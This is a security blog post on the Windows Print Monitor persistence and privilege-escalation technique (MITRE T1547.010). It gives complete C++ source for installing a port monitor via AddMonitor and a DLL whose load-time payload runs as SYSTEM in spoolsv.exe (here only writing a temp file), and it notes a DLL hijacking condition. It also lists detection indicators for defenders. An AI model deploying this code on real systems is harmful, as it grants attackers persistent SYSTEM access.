Persistence and Privilege Escalation on Windows via Print Monitors
This article demonstrates a persistence and/or privilege escalation technique documented as “Port Monitors” T1547.010 in the MITRE ATT&CK [1] framework. Because of the effectiveness it offers, the technique has been used in the past by attackers (commodity malware as well as Advanced Persistent Threats), recorded examples are ESET’s DePriMon [2]. This post aims to fill some knowledge gaps and open up the use of this technique to Red Teams. The analysis goes as far as providing source code, in an attempt to demonstrate what the malware authors do in the developing process and go a little further than the popular belief [3], [4], [5]. It may be useful from a Digital Forensics and Incident Response (DFIR) perspective.
The article is layed out in the following sections:
- Review of the technique
- Port Monitor Installation Source Code
- Port Monitor DLL Source Code
- Spoolsv potential DLL hijacking condition
- Detection Opportunities
- Tools
- References
Review of the technique
This technique allows attackers to escalate their privileges on Windows systems from High integrity (Administrator) to System integrity (NT AUTHORITY\SYSTEM). Additionally, it can be used as a persistence mechanism.
The how-to is the following: The Windows API AddMonitor [6] is called (by the attacker) to register/install a Print Monitor that is implemented in a DLL (the so called port monitor server). As soon as the AddMonitor call is made, a new thread is created in spoolsv.exe and the DLL gets loaded in the address space of spoolsv.exe. The DLL has to export the function InitializePrintMonitor2 [7], as this function is called when the DLL is loaded. The DLL has to also implement some additional functions [11]. Contrary to what the documentation says, even the “optional” functions have to be implemented, otherwise an error is returned. If everything goes well, the function EnumPorts executes too. The result of the AddMonitor is the creation of the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\<name of the malicious monitor>
plus the subkey Driver that points to the port monitor server DLL.
For example, DePriMon registers the monitor “Windows Default Print Monitor”.
The port monitor can be deleted with the API DeleteMonitor. This function de-registers/uninstalls the port monitor and deletes registry artifacts.
Some issues that surfaced during the development and worth to be called out:
- The MSDN documentation - at the time of writing - does not link appropriately the functions and whole process together. For example, it is not straightforward to go from AddMonitor to InitializePrintMonitor2 and some additional research has to be made. Thankfully, ReactOS [10] came to the rescue, as it indicates that InitializePrintMonitor2 is called at some stage. What is more, it is not straightforward to go from InitializePrintMonitor2 to the list of functions that a port monitor server DLL must define [8].
- Search results are full of desolate people reporting about printer related errors 1726 (RPC_S_CALL_FAILED) and 1722 (RPC_S_SERVER_UNAVAILABLE) [12]. In my experience, when the port monitor server DLL does not implement specific functions that Print Spooler requires, AddMonitor fails with a system error 1726 and the Print Spooler server crashes with system error 1722. Manual restart is required for any additional attempt to call AddMonitor, otherwise subsequent call to AddMonitor will keep failing with error 1722. Came across these errors after InitializePrintMonitor2 execute and before implementing the port monitor server DLL functions described on [11]. As soon as the functions were implemented, the errors 1726 and 1722 vanished.
- By just creating the registry key that points to the port monitor server DLL (aka by not calling AddMonitor), the port monitor is not activated and therefore the registry key creation has no effect.
Port Monitor Installation Source Code
Based on the official Microsoft documentation - at the time of writing - the AddMonitor funtion has to be called with the SeLoadDriverPrivilege privilege. A function that enables this privilege has been included for this purpose.
DWORD EnableLoadPrivilege()
{
// caller must have SeLoadDriverPrivilege
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
WCHAR privilege[] = L"SeLoadDriverPrivilege";
if (!::LookupPrivilegeValueW(NULL, privilege, &tp.Privileges[0].Luid))
{
::wprintf(L"[-] LookupPrivilegeVlueA has failed: %d\n", GetLastError());
return 0;
}
HANDLE token = NULL;
HANDLE hProcess = ::GetCurrentProcess();
if (!::OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &token))
{
::wprintf(L"[-] OpenProcessToken has failed: %d\n", GetLastError());
return 0;
}
if (!::AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
::wprintf(L"[-] AdjustTokenPrivilege has failed: %d\n", GetLastError());
return 0;
}
return 1;
}
BOOL PrintMonitorPersistence()
{
BOOL result = EnableLoadPrivilege();
if (result == 0)
{
::wprintf(L"[-] EnableLoadPrivilege has failed\n");
return 0;
}
// AddMonitor main function
MONITOR_INFO_2 monitorInfo;
// print monitor name
WCHAR monName[] = L"";
WCHAR monEnv[] = L"Windows x64";
// print monitor server DLL name
WCHAR dllname[] = L"";
monitorInfo.pName = monName;
monitorInfo.pEnvironment = monEnv;
monitorInfo.pDLLName = dllname;
result = AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
if (result == 0)
{
::wprintf(L"[-] AddMonitor has failed: %d\n", GetLastError());
return 0;
}
return 1;
}
INT wmain(INT argc, WCHAR** argv)
{
BOOL res = PrintMonitorPersistence();
if (res == 0)
{
::wprintf(L"[-] PrintMonitorPersistence has failed\n");
}
return 0;
}
Port Monitor DLL Source Code
The code listed below implements the port monitor server DLL. As an artifact of execution, the DLL creates a file within the ‘Temp’ directory of the system account.
#include <windows.h>
#include <stdio.h>
//#include <winsplp.h>
#define DllExport __declspec(dllexport)
#define HKEYMONITOR HKEY
DWORD FileWritePoC(WCHAR* logfname)
{
WCHAR* lpBuffer = new WCHAR[MAX_PATH];
lpBuffer[MAX_PATH - 1] = '\0';
DWORD len = ::GetTempPathW(MAX_PATH, lpBuffer);
if (!len)
{
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[-] GetTempPathW has failed: %d", GetLastError());
::OutputDebugStringA(msgbuf);
return 1;
}
size_t numberofelements = wcslen(lpBuffer) + wcslen(logfname) + 1;
WCHAR* logfilepath = new WCHAR[numberofelements];
wcscpy_s(logfilepath, numberofelements, lpBuffer);
wcscat_s(logfilepath, numberofelements, logfname);
HANDLE hFile = ::CreateFileW(
logfilepath,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE)
{
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[-] CreateFileW has failed: %d", GetLastError());
::OutputDebugStringA(msgbuf);
return 1;
}
::CloseHandle(hFile);
}
typedef struct _MONITORREG {
DWORD cbSize;
LONG(*fpCreateKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, DWORD dwOptions, REGSAM samDesired, PSECURITY_ATTRIBUTES pSecurityAttributes, HKEYMONITOR* phckResult, PDWORD pdwDisposition, HANDLE hSpooler);
LONG(*fpOpenKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, REGSAM samDesired, HKEYMONITOR* phkResult, HANDLE hSpooler);
LONG(*fpCloseKey)(HKEYMONITOR hcKey, HANDLE hSpooler);
LONG(*fpDeleteKey)(HKEYMONITOR hcKey, LPCTSTR pszSubKey, HANDLE hSpooler);
LONG(*fpEnumKey)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszName, PDWORD pcchName, PFILETIME pftLastWriteTime, HANDLE hSpooler);
LONG(*fpQueryInfoKey)(HKEYMONITOR hcKey, PDWORD pcSubKeys, PDWORD pcbKey, PDWORD pcValues, PDWORD pcbValue, PDWORD pcbData, PDWORD pcbSecurityDescriptor, PFILETIME pftLastWriteTime, HANDLE hSpooler);
LONG(*fpSetValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, DWORD dwType, const BYTE* pData, DWORD cbData, HANDLE hSpooler);
LONG(*fpDeleteValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, HANDLE hSpooler);
LONG(*fpEnumValue)(HKEYMONITOR hcKey, DWORD dwIndex, LPTSTR pszValue, PDWORD pcbValue, PDWORD pTyp, PBYTE pData, PDWORD pcbData, HANDLE hSpooler);
LONG(*fpQueryValue)(HKEYMONITOR hcKey, LPCTSTR pszValue, PDWORD pType, PBYTE pData, PDWORD pcbData, HANDLE hSpooler);
} MONITORREG, * PMONITORREG;
typedef struct _MONITORINIT {
DWORD cbSize;
HANDLE hSpooler;
HKEYMONITOR hckRegistryRoot;
PMONITORREG pMonitorReg;
BOOL bLocal;
LPCWSTR pszServerName;
} MONITORINIT, * PMONITORINIT;
typedef struct _MONITOR2 {
DWORD cbSize;
BOOL(*pfnEnumPorts)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned);
BOOL(*pfnOpenPort)(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle);
BOOL(*pfnOpenPortEx)(HANDLE hMonitor, HANDLE hMonitorPort, LPWSTR pPortName, LPWSTR pPrinterName, PHANDLE pHandle, _MONITOR2* pMonitor2);
BOOL(*pfnStartDocPort)(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo);
BOOL(*pfnWritePort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten);
BOOL(*pfnReadPort)(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead);
BOOL(*pfnEndDocPort)(HANDLE hPort);
BOOL(*pfnClosePort)(HANDLE hPort);
BOOL(*pfnAddPort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pMonitorName);
BOOL(*pfnAddPortEx)(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE lpBuffer, LPWSTR lpMonitorName);
BOOL(*pfnConfigurePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName);
BOOL(*pfnDeletePort)(HANDLE hMonitor, LPWSTR pName, HWND hWnd, LPWSTR pPortName);
BOOL(*pfnGetPrinterDataFromPort)(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned);
BOOL(*pfnSetPortTimeOuts)(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved);
BOOL(*pfnXcvOpenPort)(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv);
DWORD(*pfnXcvDataPort)(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded);
BOOL(*pfnXcvClosePort)(HANDLE hXcv);
VOID(*pfnShutdown)(HANDLE hMonitor);
DWORD(*pfnSendRecvBidiDataFromPort)(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData);
DWORD(*pfnNotifyUsedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts);
DWORD(*pfnNotifyUnusedPorts)(HANDLE hMonitor, DWORD cPorts, PCWSTR* ppszPorts);
DWORD(*pfnPowerEvent)(HANDLE hMonitor, DWORD event, POWERBROADCAST_SETTING* pSettings);
} MONITOR2, * PMONITOR2, * LPMONITOR2;
BOOL WINAPI CsEnumPorts(HANDLE hMonitor, LPWSTR pName, DWORD Level, LPBYTE pPorts, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned)
{
// function executes when DLL is loaded
BOOL bRet = TRUE;
return bRet;
}
BOOL WINAPI CsOpenPort(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL WINAPI CsOpenPortEx(HANDLE hMonitor, HANDLE hMonitorPort, LPTSTR pszPortName, LPTSTR pszPrinterName, LPHANDLE pHandle, LPMONITOR2 pMonitor)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsStartDocPort(HANDLE hPort, LPWSTR pPrinterName, DWORD JobId, DWORD Level, LPBYTE pDocInfo)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsWritePort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsReadPort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsEndDocPort(HANDLE hPort)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsClosePort(HANDLE hPort)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsGetPrinterDataFromPort(HANDLE hPort, DWORD ControlID, LPWSTR pValueName, LPWSTR lpInBuffer, DWORD cbInBuffer, LPWSTR lpOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbReturned)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL CsSetPortTimeOuts(HANDLE hPort, LPCOMMTIMEOUTS lpCTO, DWORD reserved)
{
BOOL bRet = TRUE;
return bRet;
}
BOOL WINAPI CsXcvOpenPort(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv)
{
BOOL bRet = TRUE;
return bRet;
}
DWORD CsXcvDataPort(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData, DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData, PDWORD pcbOutputNeeded)
{
// ERROR_SUCESS
return 0;
}
BOOL CsXcvClosePort(HANDLE hXcv)
{
BOOL bRet = TRUE;
return bRet;
}
VOID CsShutdown(HANDLE hMonitor)
{
}
DWORD CsSendRecvBidiDataFromPort(HANDLE hPort, DWORD dwAccessBit, LPCWSTR pAction, PBIDI_REQUEST_CONTAINER pReqData, PBIDI_RESPONSE_CONTAINER* ppResData)
{
// ERROR_SUCCESS
return 0;
}
MONITOR2 Moni =
{
sizeof(MONITOR2),
CsEnumPorts, // EnumPorts
CsOpenPort, // OpenPort
CsOpenPortEx, // OpenPortEx
CsStartDocPort, // StatDocPort
CsWritePort, // WritePort
CsReadPort, // ReadPort
CsEndDocPort, // EndDocPort
CsClosePort, // ClosePort
NULL, // AddPort -> obsolete should not be used
NULL, // AddoPortEx -> obsolete must be NULL
NULL, // ConfigurePort -> obsolete should not be used
NULL, // DeletePort -> obsolete should not be used
CsGetPrinterDataFromPort, // GetPrinterDataFromPort
CsSetPortTimeOuts, // SetPortTimeOuts
CsXcvOpenPort, // XcvOpenPort | Port Monitors Only
CsXcvDataPort, // XcvDataPort | Port Monitors Only
CsXcvClosePort, // XcvClosePort | Port Monitors Only
CsShutdown, // Shutdown
CsSendRecvBidiDataFromPort, // SendRecvBidiDataFromPort
NULL, // NotifyUsedPorts
NULL, // NotifyUnusedPorts
NULL // PowerEvent
};
extern "C" DllExport LPMONITOR2 InitializePrintMonitor2(PMONITORINIT pMonitorInit, PHANDLE phMonitor)
{
// debug
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] InitializePrintMonitor2 was called");
::OutputDebugStringA(msgbuf);
*phMonitor = (PHANDLE)pMonitorInit;
return &Moni;
}
extern "C" DllExport int __cdecl PayloadFunction(WCHAR * logfname)
{
// debug
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] PayloadFunction was called");
::OutputDebugStringA(msgbuf);
FileWritePoC(logfname);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
WCHAR logfname[] = L"exec_artifact.tmp";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
PayloadFunction(logfname);
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] DLL_PROCESS_ATTACH");
::OutputDebugStringA(msgbuf);
break;
case DLL_THREAD_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Spoolsv potential DLL hijacking condition
On the official Microsoft documentation about AddMonitor [3], we read:
“Before an application calls the AddMonitor function, all files required by the monitor must be copied to the SYSTEM32 directory.”
If you are wondering why, the answer is shown in the following image:
DLL search order as applied
The above image shows what happens when a port monitor server DLL is not copied to the SYSTEM32 directory. In this case, the DLL is called moni.dll. Spoolsv requests to load the DLL and the loader applies the DLL search order [9] to locate and load the DLL. When the DLL is not in SYSTEM32, the loader searches in the paths included in the PATH environment variable of the system (note that Spoolsv runs in System integrity - the highest privilege).
This, indicates that there is a DLL hijacking condition if specific requirements are met, such as the DLL is located in a path that exists later in the search order.
Detection Opportunities
If spoolsv.exe out of the blue registers a port monitor, thus a registry key is created in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors, this constitutes a suspicious indicator that requires further investigation.
Additionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [13] will likely return malware Port Monitor Server DLLs:
type:pedll exports:”InitializePrintMonitor2” positives:30+
The above query looks for the exported function InitializePrintMonitor2 in DLL files that have 30 or more detections by antivirus engines.
Tools
The tools used in this exploration:
- Visual Studio Community Edition 2019
- Regedit
- SysInternals Procmon
- Windows Command Prompt
- SysInternals DebugView
* if interested in additional articles, check out https://stmxcsr.com/categories/
References
[1] https://attack.mitre.org/techniques/T1547/010/
[2] https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/
[3] https://slaeryan.github.io/posts/midnighttrain.html
[4] https://pentestlab.blog/2019/10/28/persistence-port-monitors/
[5] https://www.ired.team/offensive-security/persistence/t1013-addmonitor
[6] https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor
[7] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/winsplp/nf-winsplp-initializeprintmonitor2
[8] https://docs.microsoft.com/en-us/windows-hardware/drivers/print/port-monitor-server-dll-functions
[9] https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
[10] https://doxygen.reactos.org/d9/dc2/providers_2localspl_2monitors_8c.html#ab4700dedbd1eeed79d515a6caced0e68
[11] https://docs.microsoft.com/en-us/windows-hardware/drivers/print/port-monitor-server-dll-functions
[12] https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes–1700-3999-
[13] https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers
tags: #persistence